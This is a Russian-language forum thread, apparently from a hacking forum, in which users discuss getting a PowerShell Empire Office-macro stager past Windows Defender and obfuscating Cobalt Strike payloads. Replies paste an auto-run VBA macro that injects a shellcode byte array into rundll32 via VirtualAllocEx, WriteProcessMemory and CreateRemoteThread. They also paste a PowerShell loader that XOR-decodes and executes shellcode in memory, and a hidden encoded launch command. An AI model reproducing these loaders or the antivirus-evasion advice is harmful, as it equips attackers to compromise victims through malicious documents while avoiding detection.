Защитник палит инжект Empire в память

xyxexy

RAID-массив
Пользователь
Регистрация
03.11.2020
Сообщения
64
Реакции
45
Довольно плохо разбираюсь в том,как работают АВ,но я думаю шарящим не составит труда ответить на мой вопрос:
Есть powershell-empire,юзаю windows/macro как stager , AMSIBypass AMSIBypass2,Base64 выставляю на True,выходит примерно следующее:
Sub AutoClose()
ZAAIR
End Sub

Public Function ZAAIR() As Variant
Dim mb As String
mb = "powershell -noP -sta -w 1 -enc base64 текст"
mb = mb + "base64 текст"
mb = mb + "base64 текст"
mb = mb + "base64 текст"
mb = mb + "base64 текст"
mb = mb + "base64 текст"
mb = mb + base64 текст"
mb = mb + "base64 текст"
...
mb = mb + "base64 текст="
Set asd = CreateObject("WScript.Shell")
asd.Run(mb)
End Function
Защитник (Windows 10 последнее обновление) не палит данный повершелл скрипт,если он у меня на рабочем столе,даже просканив его он говорит что вирусов нет,когда я заливаю этот макрос в WORD и сохраняю,сканирование тоже ничего не показывает,но когда макрос выполняется,защитник думает секунд 5 и выдает угрозу,и собственно шелл я не получаю (делал все на локалке)
На Windows 7 все куда лучше,защитник полностью позволяет этому скрипту делать что угодно,не палит его и инжект в память,шелл я получаю успешно
У меня два вопроса:
1. Как не спалиться во время инжекта Empire в память?
2. Что за способ обфускации применяет Empire? Я знаю,что это построчное выполнение команд + Base64 + небольшая обфускация,но как мне сделать так же например с Cobalt Strike'ом? т.к там этой фичи нету
 
mb = "powershell -noP -sta -w 1 -enc base64 текст"
Set asd = CreateObject("WScript.Shell")
asd.Run(mb)
Ав смотрит список аргументов, предположительно анализируя PEB новых процессов и чекает че каво ты запускаешь. Видит эту херобору из аргументов, которые ты написал для пш. И досвидания. И это анализируется вне скоупа VBS/JScript/VBA, на уровне системы, а не яп. Так что тут для твоего макроса AMSI хоть есть, хоть нет, разницы никакой. Так что проблема в генераторе полезной нагрузки в Empire и если ты не кодер и не понимаешь как это работает, то ты с этим ничего не сделаешь.
2)
но как мне сделать так же например с Cobalt Strike'ом
Никак. Точнее можешь, но ты не получишь то, чего хочешь. Empire реализована на пш, соответственно гармонично может взаимодействовать с обходом AMSI(и то, не всегда и везде). А кобальт нет. В кобальте, если не запамятовал, идёт что-то типо LoadPE на пш. И как ты понимаешь, тут уже должен быть чист и маппинг и сам бинарь кобальта, ибо он оказывается в памяти в неизмененном виде = любой рескан памяти адекватного авера пошлёт твою затею нахрен.
 
Последнее редактирование:
Ав смотрит список аргументов, предположительно анализируя PEB новых процессов и чекает че каво ты запускаешь. Видит эту херобору из аргументов, которые ты написал для пш. И досвидания. И это анализируется вне скоупа VBS/JScript/VBA, на уровне системы, а не яп. Так что тут для твоего макроса AMSI хоть есть, хоть нет, разницы никакой. Так что проблема в генераторе полезной нагрузки в Empire и если ты не кодер и не понимаешь как это работает, то ты с этим ничего не сделаешь.
2)

Никак. Точнее можешь, но ты не получишь то, чего хочешь. Empire реализована на пш, соответственно гармонично может взаимодействовать с обходом AMSI(и то, не всегда и везде). А кобальт нет. В кобальте, если не запамятовал, идёт что-то типо LoadPE на пш. И как ты понимаешь, тут уже должен быть чист и маппинг и сам бинарь кобальта, ибо он оказывается в памяти в неизмененном виде = любой рескан памяти адекватного авера пошлёт твою затею нахрен.

У кобальта есть два варианта генерации повершелла:

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

#If VBA7 Then
Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String

#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
-43,-24,0,0,0,0,49,-1,87,87,87,87,87,104,58,86,121,-89,-1... всякие цифры)
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If

res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub

И в PayLoad Generator можно сгенерировать обычный Powershell и Powershell Command(ванлайнер)

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('base64 текст')

for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQ... очень и очень много букв
 
Empire вроде остановили поддержку не?
Да,но с 7 и 8 виндами он справляется
Вообще я его решил поюзать только из-за его способа обфускации,т.к он не палится до тех пор пока не решит проникнуть в память
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Скрытый контент для пользователей: xyxexy.
Да,но с 7 и 8 виндами он справляется
Вообще я его решил поюзать только из-за его способа обфускации,т.к он не палится до тех пор пока не решит проникнуть в память
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх